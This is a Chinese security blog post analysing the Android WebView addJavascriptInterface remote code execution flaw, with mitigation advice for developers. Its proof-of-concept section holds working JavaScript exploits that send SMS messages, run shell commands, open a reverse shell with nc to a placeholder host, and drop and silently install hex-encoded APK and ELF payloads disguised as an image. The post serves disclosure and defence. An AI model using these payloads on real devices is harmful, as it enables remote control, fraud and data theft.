您当前的位置:安全博客 > 安全漏洞 > WebView 远程代码执行漏洞浅析

WebView 远程代码执行漏洞浅析

阿里无线安全团队发表于2015年04月13日

1. WebView 远程代码执行漏洞描述

      Android API level 16以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法,简单的说就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScript通过调用这个接口可以直接操作本地的JAVA接口。该漏洞最早公布于CVE-2012-6636【1】,其描述了WebView中addJavascriptInterface API导致的远程代码执行安全漏洞。

      该漏洞公布的近期,多款Android流行应用曾被曝出高危挂马漏洞:点击消息或朋友社区圈中的一条网址时,用户手机然后就会自动执行被挂马的代码指令,从而导致被安装恶意扣费软件、向好友发送欺诈短信、通讯录和短信被窃取以及被远程控制等严重后果。在乌云漏洞平台上,包括Android版的微信、QQ、腾讯微博、QQ浏览器、快播、百度浏览器、金山浏览器等大批TOP应用均被曝光同类型的漏洞。

      论文Attacks on WebView in the Android System【2】中指出可以利用所导出的读写文件接口来进行文件的读写操作,攻击者可以通过中间人攻击篡改Webview所显示的页面来达到对手机文件系统的控制。

2. WebView 远程代码执行影响范围

      Android API level 小于17 (即Android 4.2之前的系统版本)

3.WebView 远程代码执行漏洞详情

1) WebView 远程代码执行漏洞位置:

      WebView.addJavascriptInterface(Object obj, String interfaceName) 

2)WebView 远程代码执行漏洞触发前提条件:

      使用addJavascriptInterface方法注册可供JavaScript调用的Java对象;
      使用WebView加载外部网页或者本地网页;
      Android系统版本低于4.2;

3) WebView 远程代码执行漏洞原理:

      Android系统通过WebView.addJavascriptInterface方法注册可供JavaScript调用的Java对象,以用于增强JavaScript的功能。但是系统并没有对注册Java类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何Java类,最终导致JavaScript能力的无限增强。攻击者利用该漏洞可以根据客户端能力为所欲为。

4. WebView 远程代码执行漏洞POC

      1) 利用addJavascriptInterface方法注册可供JavaScript调用的java对象 “injectedObj”,利用反射机制调用Android API sendTextMessage来发送短信。
      java代码:
mWebView = new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(this, "injectedObj");
mWebView.loadUrl("file:///android_asset/www/index.html");
      EXP的JavaScript代码:
<html>
   <body>
      <script>
         var objSmsManager =     injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null);
          objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null);
       </script>
   </body>
</html>
      2) 利用addJavascriptInterface方法注册可供JavaScript调用的java对象 “injectedObj”,利用反射机制调用Android API getRuntime执行shell命令:
      EXP的JavaScript代码:
<html>
   <body>
      <script>
         function execute(cmdArgs)
         {
             return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
         }

         var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
         document.write(getContents(res.getInputStream()));
       </script>
   </body>
</html>
      利用后的执行结果: 

      3) 利用addJavascriptInterface方法注册可供JavaScript调用的java对象 “injectedObj”,利用反射机制调用Android API getRuntime执行shell命令,达到反弹一个手机端的shell到远程控制端的目的:
      EXP的JavaScript代码:
<html>
   <body>
      <script>
         function execute(cmdArgs)
         {
             return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
         }
         execute(["/system/bin/sh","-c","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/system/bin/sh -i 2>&1|nc x.x.x.x 9099 >/tmp/f"]);
       </script>
   </body>
</html>
      执行后的结果:
 
      4) 利用addJavascriptInterface方法注册可供JavaScript调用的java对象 “injectedObj”,利用反射机制调用Android API getRuntime执行shell命令进行挂马:a安装木马应用APK, b 安装执行ELF可执行程序;
      简单的安装发送短信木马APK,EXP的JavaScript代码:
<html>
   <body>
      <script>
         function execute(cmdArgs)
         {
             return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
         }
         var apk = "\\x50\\x4B\\x03\\x04\\x14\\x00\\x08\\x00\\x08\\x00\\x62 \\xB9\\x15\\x30\\x3D\\x07\\x01\\x00\\x00\\x7C\\x01\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD6\\x0D\\x00\\x00\\x4D\\x45\\x54\\x41\\x2D\\x49\\x4E\\x46\\x2F\\x43\\x45\\x52\\x54\\x2E\\x53------------------------------------------------------------ \\x4D\\x45\\x54\\x41\\x2D\\x49\\x4E\\x46\\x2F\\x43\\x45\\x52\\x54\\x2E\\x52\\x53\\x41\\x50\\x4B\\x05\\x06\\x00\\x00\\x00\\x00\\x07\\x00\\x07\\x00\\xBA\\x01\\x00\\x00\\xB6\\x11\\x00\\x00\\x00\\x00"
         execute(["/system/bin/sh","-c","echo '"+apk+"' > /data/data/com.example.hellojs/fake.png"]);
         execute(["chmod","755","/data/data/com.example.hellojs/fake.png"]);
         execute(["su","-c","pm install -r /data/data/com.example.hellojs/fake.png"]);
       </script>
   </body>
</html>
      由下图可得知我们已经拼接成了一个APK程序,并伪装成一张png图片:
 
      由下图可知,我们已经成功安装fake.png APK程序:
 
      例如网上流行的Androrat远程控制程序,攻击者利用上述漏洞即可简单的安装此远程控制木马应用APK即可达到远程控制用户手机的目的。   
      利用漏洞拼接可执行ELF程序,并执行该ELF程序达到为所欲为的目的,博文Abusing WebView JavaScript Bridges【3】还实现了在非root情况下利用ELF可执行程序偷取sdcard的文件的POC,由此可见,该漏洞的危害性极大:
      EXP的JavaScript代码:
<html>
   <body>
      <script>
         function execute(cmdArgs)
         {
             return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
         }
            var bin = "\\x7F\\x45\\x4C\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x28\\x00\\x01\\x00\\x00\\x00\\xE4\\x83\\x00\\x00\\x34\\x00\\x00\\x00\\x58\\x21\\x00\\x00\\x00\\x00\\x00\\x05\\x34\\x00\\x20\\x00\\x08\\x00\\x28\\x00\\x18\\x00\\x17\\x00\\x06\\x00\\x00\\x00\\x34\\x00\\x00\\x00\\x34\\x80\\x00\\x00\\x34\\x80\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x04\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x34\\x01\\x00\\x00\\x34\\x81\\x00\\x00\\x34\\x81\\x00\\x00\\x13--------------------------------------------------------------------------------------------------------------------------------\\x00\\x00\\x00\\x00\\xD4\\x00\\x00\\x00\\x03\\x00\\x00\\x70\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x44\\x20\\x00\\x00\\x2D\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x71\\x20\\x00\\x00\\xE4\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00";
            execute(["/system/bin/sh","-c","echo '" + bin + "' > /data/data/com.example.hellojs/testBin"]);
         execute(["chmod","755","/data/data/com.example.hellojs/testBin"]);
            var res = execute(["/data/data/com.example.hellojs/testBin"]);
           document.write(getContents(res.getInputStream()));
       </script>
   </body>
</html>
      “testBin”文件已拼接生成,如下图所示: 

      执行之后的结果如下:

 

5. WebView远程代码执行漏洞修复建议

1. API Level等于或高于17的Android系统【4】

      出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解,所以如果某应用依赖的API Level为17或者以上,就不会受该问题的影响(注:Android 4.2中API Level小于17的应用也会受影响)。按照Google官方文档[5]使用示例:
class JsObject {
   @JavascriptInterface
   public String toString() { return "injectedObject"; }
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");

2. API Level等于或高于17的Android系统

      建议不要使用addJavascriptInterface接口,以免带来不必要的安全隐患,请参照博文《在Webview中如何让JS与Java安全地互相调用》[6]。
      如果一定要使用addJavascriptInterface接口:
      1) 如果使用HTTPS协议加载URL,应进行证书校验防止访问的页面被篡改挂马;
      2) 如果使用HTTP协议加载URL,应进行白名单过滤、完整性校验等防止访问的页面被篡改;
      3) 如果加载本地Html,应将html文件内置在APK中,以及进行对html页面完整性的校验;

3. 移除Android系统内部的默认内置接口

      同时,在2014年发现在Android系统中webkit中默认内置的一个searchBoxJavaBridge_ 接口同时存在远程代码执行漏洞,该漏洞公布于CVE-2014-1939[7], 建议开发者通过以下方式移除该Javascript接口:    
 removeJavascriptInterface("searchBoxJavaBridge_") 
      2014年香港理工大学的研究人员Daoyuan Wu和Rocky Chang发现了两个新的攻击向量存在于android/webkit/AccessibilityInjector.java中,分别是"accessibility" 和"accessibilityTraversal" ,调用了此组件的应用在开启辅助功能选项中第三方服务的安卓系统中会造成远程代码执行漏洞。该漏洞公布于CVE-2014-7224, 此漏洞原理与searchBoxJavaBridge_接口远程代码执行相似,均为未移除不安全的默认接口,建议开发者通过以下方式移除该JavaScript接口:
removeJavascriptInterface("accessibility");
 removeJavascriptInterface("accessibilityTraversal");
参考文章

[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636
[2] Attacks on WebView in the Android System
[3] http://50.56.33.56/blog/?p=314
[4] Google Official Android API Level Reference 
[5] http://developer.android.com/reference/android/webkit/WebView.html
   #addJavascriptInterface(java.lang.Object, java.lang.String)
[6] 在Webview中如何让JS与Java安全地互相调用
[7] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1939

作者:行里

安全漏洞

文章导航

下一篇文章:Android应用本地拒绝服务漏洞浅析

上一篇文章:SecureRandom漏洞解析